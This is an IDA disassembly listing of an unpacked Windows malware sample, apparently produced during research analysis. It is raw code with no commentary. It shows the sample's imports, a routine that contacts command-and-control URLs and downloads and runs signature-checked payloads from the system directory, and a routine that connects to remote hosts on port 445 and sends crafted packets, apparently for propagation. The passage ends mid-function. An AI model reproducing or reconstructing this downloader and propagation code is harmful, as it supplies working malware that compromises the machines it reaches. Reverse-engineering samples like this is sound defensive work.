; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 17E05D37DC4CD2B0AA7C697F90010FED ; File Name : u:\work\17e05d37dc4cd2b0aa7c697f90010fed_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31600000 ; Section 1. (virtual address 00001000) ; Virtual size : 00004000 ( 16384.) ; Section size in file : 00004000 ( 16384.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31601000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31601000 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_31601004 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_31601008 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_3160100C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_3160284E+1Dr dword_31601010 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueAdword_31601014 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_3160284E+4Er ... dword_31601018 dd 77E34D78h ; resolved to->ADVAPI32.AbortSystemShutdownAdword_3160101C dd 77DEA2F9h ; resolved to->ADVAPI32.CryptCreateHashdword_31601020 dd 77DEA122h ; resolved to->ADVAPI32.CryptHashDatadword_31601024 dd 77DEAB80h ; resolved to->ADVAPI32.CryptVerifySignatureAdword_31601028 dd 77DEA254h ; resolved to->ADVAPI32.CryptDestroyHashdword_3160102C dd 77DEA544h ; resolved to->ADVAPI32.CryptDestroyKeydword_31601030 dd 77DE8546h ; resolved to->ADVAPI32.CryptReleaseContextdword_31601034 dd 77DE7F96h ; resolved to->ADVAPI32.CryptAcquireContextAdword_31601038 dd 77DEA879h ; resolved to->ADVAPI32.CryptImportKey align 10h dword_31601040 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_31601044 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_31601048 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_3160104C dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_31601050 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_31601054 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_31601058 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3160105C dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_31601060 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_31601064 dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_31601068 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_31602B2C+8Fr dword_3160106C dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_31601070 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_31601074 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_31602A60+Fr dword_31601078 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_3160107C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_316011A0+F6r ... dword_31601080 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_3160219E+57r dword_31601084 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_31601422+64r ... dword_31601088 dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_31602A60+40r dword_3160108C dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_31602A60+1Br dword_31601090 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_31601094 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_316017DB+16Cr ... dword_31601098 dd 7C80978Eh ; resolved to->KERNEL32.InterlockedExchangedword_3160109C dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_316010A0 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_316010A4 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_31601DCA+2Cr dword_316010A8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_3160238C+108r dword_316010AC dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemorydword_316010B0 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_316028FA+92r dword_316010B4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; UPX0:31602310r dword_316010B8 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_316010BC dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_316010C0 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_31601F2C+12r dword_316010C4 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_316010C8 dd 7C80A017h ; resolved to->KERNEL32.SetEventdword_316010CC dd 7C81320Ch ; resolved to->KERNEL32.OpenEventAdword_316010D0 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_3160219E+66r ... dword_316010D4 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_3160258F+3Fr ... dword_316010D8 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_316010DC dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_316010E0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_31602A60+C3r dword_316010E4 dd 7C910331h, 0 ; resolved to->NTDLL.RtlGetLastWin32Errordword_316010EC dd 77C371BCh ; resolved to->MSVCRT.sranddword_316010F0 dd 77C46F70h ; resolved to->MSVCRT.memcpydword_316010F4 dd 77C478A0h ; resolved to->MSVCRT.strlendword_316010F8 dd 77C475F0h ; resolved to->MSVCRT.memsetdword_316010FC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_31601F4D:loc_31601F5Er ... dword_31601100 dd 77C35C94h ; resolved to->MSVCRT._except_handler3dword_31601104 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_31602058:loc_31602089r ... dword_31601108 dd 77C47660h ; resolved to->MSVCRT.strchr ; sub_31601422+AAr align 10h dword_31601110 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_31601114 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_31601118 dd 7E418A80h ; resolved to->USER32.GetWindowThreadProcessIddword_3160111C dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_316015C7+77r ... dd 0 dword_31601124 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_316015C7+9Dr dword_31601128 dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_316015C7+89r dword_3160112C dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandledword_31601130 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; UPX0:3160276Er dword_31601134 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_316015C7+B0r dd 0 dword_3160113C dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_31601140 dd 71AB3E00h ; resolved to->WS2_32.binddword_31601144 dd 71AB88D3h ; resolved to->WS2_32.listendword_31601148 dd 71AC1028h ; resolved to->WS2_32.acceptdword_3160114C dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_31601150 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastErrordword_31601154 dd 71AB4FD4h ; resolved to->WS2_32.gethostbynamedword_31601158 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_3160219E+ACr dword_3160115C dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_316026DE+Dr dword_31601160 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_3160219E+F0r dword_31601164 dd 71AB406Ah ; resolved to->WS2_32.connectdword_31601168 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_31602058+67r ... dword_3160116C dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_316017DB+1D8r ... dword_31601170 dd 71AC0BDEh ; resolved to->WS2_32.shutdown ; sub_31602058+128r dword_31601174 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_31602058+12Fr align 10h dword_31601180 dd 0FFFFFFFFh, 0 dd offset nullsub_1 align 10h dword_31601190 dd 0FFFFFFFFh, 0 dd offset nullsub_2 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_316011A0 proc near ; CODE XREF: sub_31601422+16Dp var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31601128 ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_316011CB push 1 jmp loc_31601261 ; --------------------------------------------------------------------------- loc_316011CB: ; CODE XREF: sub_316011A0+22j lea eax, [ebp+var_110] push 104h push eax call dword_3160108C ; GetSystemDirectoryA mov edi, dword_31601088 lea eax, [ebp+var_110] push offset dword_316041F8 push eax call edi ; lstrcatA lea eax, [ebp+var_110] push 6 push eax call dword_31601084 ; lstrlenA lea eax, [ebp+eax+var_110] push eax call sub_31601F4D pop ecx lea eax, [ebp+var_110] pop ecx push offset dword_316041F0 push eax call edi ; lstrcatA push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_31601080 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_31601241 push 2 jmp short loc_31601261 ; --------------------------------------------------------------------------- loc_31601241: ; CODE XREF: sub_316011A0+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_31601124 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_31601264 push [ebp+var_4] call dword_3160107C ; CloseHandle push 3 loc_31601261: ; CODE XREF: sub_316011A0+26j ; sub_316011A0+9Fj pop eax jmp short loc_316012B5 ; --------------------------------------------------------------------------- loc_31601264: ; CODE XREF: sub_316011A0+B4j mov edi, 100000h push edi call sub_31602C6A mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31601134 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_31601078 ; WriteFile push [ebp+var_4] call dword_3160107C ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_31601F7D push ebx call sub_31602C7E add esp, 0Ch xor eax, eax loc_316012B5: ; CODE XREF: sub_316011A0+C2j pop edi pop esi pop ebx leave retn sub_316011A0 endp ; =============== S U B R O U T I N E ======================================= sub_316012BA proc near ; CODE XREF: sub_31601422+F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push ebx push esi push edi or edi, 0FFFFFFFFh inc eax push 0Fh lea esi, [ecx+1] sub edi, ecx pop ecx loc_316012D1: ; CODE XREF: sub_316012BA+56j mov dl, [eax] mov bl, [eax-1] add edx, ecx add bl, cl sar edx, 4 and dl, 3 sub dl, [esp+0Ch+arg_8] shl bl, 2 or dl, bl mov [esi-1], dl mov dl, [eax+1] mov bl, [eax] dec dl add bl, cl and dl, cl sub dl, [esp+0Ch+arg_8] add eax, 3 shl bl, 4 and bl, 0F0h or dl, bl mov [esi], dl inc esi inc esi lea edx, [edi+esi] cmp edx, 30h jl short loc_316012D1 pop edi pop esi pop ebx retn sub_316012BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31601316 proc near ; CODE XREF: sub_3160139B+27p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31601349 add ebx, 1Ah loc_31601349: ; CODE XREF: sub_31601316+2Ej movsx edi, [ebp+arg_0] mov esi, dword_31601108 lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31601373 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31601396 ; --------------------------------------------------------------------------- loc_31601373: ; CODE XREF: sub_31601316+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31601393 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31601396 ; --------------------------------------------------------------------------- loc_31601393: ; CODE XREF: sub_31601316+68j mov al, [ebp+arg_0] loc_31601396: ; CODE XREF: sub_31601316+5Bj ; sub_31601316+7Bj pop edi pop esi pop ebx leave retn sub_31601316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3160139B proc near ; CODE XREF: sub_31601422+D6p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_316013F8 mov edi, [ebp+arg_0] push ebx loc_316013B0: ; CODE XREF: sub_3160139B+58j sub al, 2 inc [ebp+arg_4] mov bl, al mov eax, esi neg eax mov byte ptr [ebp+arg_0], bl push eax push [ebp+arg_0] call sub_31601316 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_316013DC cmp bl, 7Ah jg short loc_316013DC movsx esi, bl sub esi, 61h loc_316013DC: ; CODE XREF: sub_3160139B+34j ; sub_3160139B+39j cmp bl, 41h jl short loc_316013EC cmp bl, 5Ah jg short loc_316013EC movsx esi, bl sub esi, 41h loc_316013EC: ; CODE XREF: sub_3160139B+44j ; sub_3160139B+49j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_316013B0 pop ebx jmp short loc_316013FB ; --------------------------------------------------------------------------- loc_316013F8: ; CODE XREF: sub_3160139B+Fj mov edi, [ebp+arg_0] loc_316013FB: ; CODE XREF: sub_3160139B+5Bj and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_3160139B endp ; =============== S U B R O U T I N E ======================================= sub_31601402 proc near ; CODE XREF: sub_31601422+104p arg_0 = dword ptr 4 xor eax, eax xor ecx, ecx loc_31601406: ; CODE XREF: sub_31601402+12j mov edx, [esp+arg_0] movzx edx, byte ptr [ecx+edx] add eax, edx inc ecx cmp ecx, 30h jl short loc_31601406 push 1Ah cdq pop ecx idiv ecx mov eax, edx add eax, 61h retn sub_31601402 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31601422 proc near ; CODE XREF: sub_316015C7+B7p var_174 = dword ptr -174h var_170 = byte ptr -170h var_168 = byte ptr -168h var_164 = byte ptr -164h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = byte ptr -124h var_11C = byte ptr -11Ch var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31601180 push offset sub_31602C90 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 164h push ebx push esi push edi mov [ebp+var_128], 1 and [ebp+var_4], 0 push offset aZer0 ; "zer0" push [ebp+arg_0] call dword_31601104 ; strstr pop ecx pop ecx mov edi, eax mov [ebp+var_130], edi test edi, edi jz loc_316015A8 add edi, 4 mov [ebp+var_130], edi jz loc_316015A8 push edi call dword_31601084 ; lstrlenA mov [ebp+var_1C], eax cmp eax, 50h jle loc_316015A8 and byte ptr [edi+100h], 0 mov al, [edi] mov [ebp+var_168], al movsx ebx, al sub ebx, 61h mov [ebp+var_12C], ebx js loc_316015A8 cmp ebx, 1Ah jge loc_316015A8 inc edi mov [ebp+var_130], edi push 7Eh push edi call dword_31601108 ; strchr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_316015A8 mov al, [esi] mov [ebp+var_170], al and byte ptr [esi], 0 push ebx push edi lea eax, [ebp+var_11C] push eax call sub_3160139B mov al, [ebp+var_170] mov [esi], al inc esi mov [ebp+var_130], esi xor edi, edi push edi lea eax, [ebp+var_164] push eax lea eax, [esi+1] push eax call sub_316012BA lea eax, [ebp+var_164] push eax call sub_31601402 add esp, 1Ch cmp [esi], al jnz short loc_316015A8 push 44h push offset dword_31604000 lea eax, [ebp+var_124] push eax call sub_31601709 add esp, 0Ch lea eax, [ebp+var_174] push eax push 30h lea eax, [ebp+var_164] push eax lea eax, [ebp+var_11C] push eax call dword_31601084 ; lstrlenA push eax lea eax, [ebp+var_11C] push eax lea eax, [ebp+var_124] push eax call sub_31601774 add esp, 18h test eax, eax jnz short loc_3160159B cmp [ebp+var_174], edi jz short loc_3160159B lea eax, [ebp+var_11C] push eax call sub_316011A0 pop ecx mov [ebp+var_128], edi loc_3160159B: ; CODE XREF: sub_31601422+15Cj ; sub_31601422+164j lea eax, [ebp+var_124] push eax call sub_31601758 pop ecx loc_316015A8: ; CODE XREF: sub_31601422+4Ej ; sub_31601422+5Dj ... or [ebp+var_4], 0FFFFFFFFh call nullsub_1 mov eax, [ebp+var_128] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_31601422 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_316015C7 proc near ; CODE XREF: sub_3160169C+24p var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi push 4000h call sub_31602C6A pop ecx mov esi, eax lea eax, [ebp+var_E8] push 63h push eax push 7 push 400h call dword_31601090 ; GetLocaleInfoA xor ebx, ebx cmp [ebp+arg_4], bl jz short loc_3160162F lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_84] push dword_31604FCC push dword_31604FE4 push offset aFgnsdrjyrsert ; "fgnsdrjyrsert" push [ebp+arg_0] push offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"... push eax call dword_3160111C ; wsprintfA add esp, 1Ch jmp short loc_31601647 ; --------------------------------------------------------------------------- loc_3160162F: ; CODE XREF: sub_316015C7+34j push [ebp+arg_0] lea eax, [ebp+var_84] push offset aHttpS ; "http://%s" push eax call dword_3160111C ; wsprintfA add esp, 0Ch loc_31601647: ; CODE XREF: sub_316015C7+66j push ebx push ebx push ebx push ebx push offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31601128 ; InternetOpenA push ebx mov edi, eax push ebx push ebx lea eax, [ebp+var_84] push ebx push eax push edi call dword_31601124 ; InternetOpenUrlA mov ebx, eax lea eax, [ebp+var_4] push eax push 2000h push esi push ebx call dword_31601134 ; InternetReadFile push esi call sub_31601422 push esi call sub_31602C7E mov esi, dword_3160112C pop ecx pop ecx push ebx call esi ; InternetCloseHandle push edi call esi ; InternetCloseHandle pop edi pop esi pop ebx leave retn sub_316015C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_3160169C proc near ; DATA XREF: sub_3160238C+14Do push esi push edi mov edi, dword_31601098 loc_316016A4: ; CODE XREF: sub_3160169C+6Bj xor esi, esi loc_316016A6: ; CODE XREF: sub_3160169C+57j inc esi inc esi call sub_31602012 test eax, eax jz short loc_316016C7 mov al, byte_31604080[esi+esi*4] push eax push off_31604081[esi+esi*4] call sub_316015C7 pop ecx pop ecx loc_316016C7: ; CODE XREF: sub_3160169C+13j call dword_316010FC ; rand push 3 cdq pop ecx idiv ecx add esi, edx call sub_31602042 xor edx, edx mov ecx, 493E0h div ecx add edx, 61B48h push edx call dword_31601094 ; Sleep cmp esi, 16h jb short loc_316016A6 push 0 push offset dword_31604FE4 call edi ; InterlockedExchange push 0 push offset dword_31604FCC call edi ; InterlockedExchange jmp short loc_316016A4 sub_3160169C endp ; =============== S U B R O U T I N E ======================================= sub_31601709 proc near ; CODE XREF: sub_31601422+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] push esi mov esi, dword_31601034 push edi xor edi, edi push edi push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_31601736 push 8 push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_31601736 push 1 pop eax jmp short loc_31601754 ; --------------------------------------------------------------------------- loc_31601736: ; CODE XREF: sub_31601709+19j ; sub_31601709+26j lea eax, [ebx+4] push eax push edi push edi push [esp+18h+arg_8] push [esp+1Ch+arg_4] push dword ptr [ebx] call dword_31601038 ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_31601754: ; CODE XREF: sub_31601709+2Bj pop edi pop esi pop ebx retn sub_31601709 endp ; =============== S U B R O U T I N E ======================================= sub_31601758 proc near ; CODE XREF: sub_31601422+180p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+4] call dword_3160102C ; CryptDestroyKey push 0 push dword ptr [esi] call dword_31601030 ; CryptReleaseContext xor eax, eax pop esi retn sub_31601758 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31601774 proc near ; CODE XREF: sub_31601422+152p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_0] xor edi, edi push eax push edi push edi push 8003h push dword ptr [esi] call dword_3160101C ; CryptCreateHash test eax, eax jnz short loc_3160179A push 1 pop eax jmp short loc_316017D7 ; --------------------------------------------------------------------------- loc_3160179A: ; CODE XREF: sub_31601774+1Fj push edi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_31601020 ; CryptHashData test eax, eax jnz short loc_316017B3 push 2 pop edi jmp short loc_316017CC ; --------------------------------------------------------------------------- loc_316017B3: ; CODE XREF: sub_31601774+38j push edi push edi push dword ptr [esi+4] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call dword_31601024 ; CryptVerifySignatureA mov ecx, [ebp+arg_14] mov [ecx], eax loc_316017CC: ; CODE XREF: sub_31601774+3Dj push [ebp+arg_0] call dword_31601028 ; CryptDestroyHash mov eax, edi loc_316017D7: ; CODE XREF: sub_31601774+24j pop edi pop esi pop ebp retn sub_31601774 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_316017DB proc near ; CODE XREF: sub_3160252B+36p ; sub_3160258F+48p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31602CB0 mov eax, dword_31604C84 push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_31604C88 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_31601158 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31601D3B push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_3160115C ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_3160109C ; lstrcpynA lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_31604C78 push eax call dword_3160111C ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_3160184E: ; CODE XREF: sub_316017DB+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_3160184E push 60h lea eax, [ebp+var_E4] push offset dword_31604798 push eax call sub_31602CA2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31602C9C ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_31602CA2 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_31602C9C ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_31602CA2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31602C9C ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_31602CA2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31602C9C ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_31602CA2 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31602C96 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31602C96 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31601160 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31601164 ; connect cmp eax, 0FFFFFFFFh jz loc_31601D31 mov esi, dword_31601094 mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_31601168 push 89h push offset dword_31604580 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3160116C ; recv cmp eax, 0FFFFFFFFh jz loc_31601D26 push 0 push 0A8h push offset dword_3160460C push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3160116C ; recv cmp eax, 0FFFFFFFFh jz loc_31601D26 push 0 push 0DEh push offset dword_316046B8 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3160116C ; recv cmp eax, 0FFFFFFFFh jz loc_31601D26 cmp eax, 46h jl loc_31601D26 cmp [ebp+var_730], 31h jnz loc_31601BD1 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31602C96 ; memset add esp, 0Ch push offset byte_316042B8 call dword_31601084 ; lstrlenA push eax lea eax, [ebp+var_EA4] push offset byte_316042B8 push eax call sub_31602CA2 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_31601084 ; lstrlenA push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_31602CA2 ; memcpy mov eax, dword_31604BBE add esp, 0Ch mov [ebp+var_798], eax loc_31601A72: ; CODE XREF: sub_316017DB+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3160116C ; recv cmp eax, 0FFFFFFFFh jz loc_31601D26 push 0 push 68h push offset dword_316047FC push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3160116C ; recv cmp eax, 0FFFFFFFFh jz loc_31601D26 push 0 push 0A0h push offset dword_31604868 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call 